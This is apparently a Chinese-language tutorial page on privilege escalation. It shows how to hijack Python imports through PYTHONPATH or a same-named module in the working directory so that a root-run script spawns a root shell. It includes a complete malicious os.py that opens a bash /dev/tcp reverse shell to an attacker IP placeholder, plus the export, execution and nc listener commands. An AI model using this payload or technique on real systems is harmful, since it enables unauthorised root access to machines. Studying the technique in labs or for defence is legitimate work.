Skip to content

15-31

约 973 字大约 3 分钟

2025-11-02

如何利用 Python 的环境特性在不修改原脚本的前提下,劫持程序执行流程并获取 Root Shell

一、利用 PYTHONPATH 环境变量劫持

PYTHONPATH 环境变量是 Python 解释器在寻找导入模块时,除了系统默认路径(如标准库路径和当前目录)外,会优先搜索的路径列表。如果目标脚本以 root 权限运行,并且我们能够控制 PYTHONPATH 的值或目标环境,就可以实现劫持

原理

  1. 目标: 找到一个目标脚本(以 Root 权限运行)会导入的标准库模块第三方库模块。假设目标脚本中有一行代码是 import os
  2. 创建恶意模块: 我们在可控目录下创建一个与目标导入模块同名的文件,例如 os.py
  3. 设置 PYTHONPATH 将我们存放恶意 os.py 文件的目录路径设置为 PYTHONPATH 的值
  4. 执行流程: 当 Root 脚本启动时,Python 解释器会优先PYTHONPATH 指向的目录中搜索 os.py。它会找到我们的恶意文件,并执行其中的代码,而不是系统标准的 os

攻击步骤(获取 Root Shell)

假设目标 Root 脚本名为 target_root_script.py,且它导入了 os 模块

  1. 创建恶意载荷 (Payload): 在我们的可写入目录(例如 /home/user/malicious_path/)下创建 os.py 文件

    # /home/user/malicious_path/os.py
    import subprocess
    import socket
    
    # 这段代码将在模块被导入时立即执行
    def trigger():
        # 反弹 Root Shell
        # 注意:这里使用 bash 和 /dev/tcp 是 Linux 特有技巧
        # 实际操作中,可以使用 Python 的 socket 库实现更隐蔽的反弹
        LHOST = '你的攻击机IP'
        LPORT = '你的监听端口'
        subprocess.run(f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1", shell=True)
    
    # 确保在模块加载时触发
    trigger()
    
    # 为了不让目标程序崩溃,我们可能需要在这里导入和暴露真正的 os 模块
    # 但简单起见,可以先尝试让程序崩溃,如果能获得 Shell 就不必关心
    # 复杂劫持:from real_os_module import *
  2. 设置环境变量并执行: 在 Shell 中设置 PYTHONPATH,然后运行目标脚本

    # 确保你的攻击机已经在 LPORT 端口监听 (e.g., nc -lvnp LPORT)
    
    export PYTHONPATH="/home/user/malicious_path/"
    /usr/bin/python3 /path/to/target_root_script.py
    # 此时,target_root_script.py 导入 os 模块时,将执行我们的反弹 Shell 代码

二、利用标准库的优先级加载机制(文件名冲突)

如果没有 PYTHONPATH 的控制权,我们还可以利用 Python 的默认搜索顺序来实现劫持。

原理

Python 的模块搜索顺序通常是:

  1. 当前目录或程序所在目录(优先级最高)
  2. PYTHONPATH 中的目录
  3. 标准库目录和第三方包目录

如果我们将恶意模块放置在目标 Root 脚本所在的目录下,或者放置在用户当前工作目录下,并以与目标脚本导入的模块相同的名称命名,它将优先于系统标准库被加载

攻击策略

这种策略需要我们对目标脚本所在的目录有写入权限,或者能控制脚本执行时的当前工作目录 (CWD)

  1. 目标: 目标 Root 脚本(/opt/app/root_tool.py)导入了 config 模块(一个自定义模块),或者导入了一个常见且不复杂的标准库模块,如 loggingtempfile

  2. 当前目录劫持: 如果目标脚本执行时,我们能控制其 CWD:

    • 创建恶意载荷: 在我们控制的 CWD 下创建一个名为 logging.py 的恶意文件
    • 执行: 当 Root 脚本被执行时,如果它导入了 import logging,它将加载 CWD 下的 logging.py
    # 攻击机已监听 LPORT
    
    # 切换到我们的可控目录(假设我们在这里创建了恶意的 logging.py)
    cd /home/user/malicious_cwd/
    
    # 执行 Root 脚本,使其在我们的目录下启动
    /usr/bin/python3 /opt/app/root_tool.py